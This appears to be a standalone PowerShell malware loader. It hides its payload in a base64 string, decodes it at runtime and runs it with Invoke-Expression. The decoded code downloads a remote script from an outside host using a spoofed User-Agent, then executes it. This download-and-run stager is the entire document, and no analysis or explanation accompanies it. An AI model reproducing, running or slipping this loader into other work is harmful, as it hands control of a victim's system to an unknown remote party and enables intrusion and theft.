[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

$encodedCommand = "JHVybCA9ICJodHRwczovL2Nzcndpbi5jZmQvYXBpeC5wczEiCiR1c2VyQWdlbnQgPSAiYWl6ekhrS3RmTmR6bWF5Y09SamZoakRQYU5DTFZZS01NcGtBY1V5c3lJcFlqQVVoTkxxc1FMR3lWeUlXZkNnbkVCaUpZZWpyWkx3Q3dobVZrRWpJeEtIZVBNWWVlRU1XWGFySW5rbXV3clVtekJJcyIKJHdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQKJHdlYkNsaWVudC5IZWFkZXJzLkFkZCgiVXNlci1BZ2VudCIsICR1c2VyQWdlbnQpCiRzY3JpcHQgPSAkd2ViQ2xpZW50LkRvd25sb2FkU3RyaW5nKCR1cmwpCkludm9rZS1FeHByZXNzaW9uICRzY3JpcHQ="

$decodedCommand = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($encodedCommand))
Invoke-Expression $decodedCommand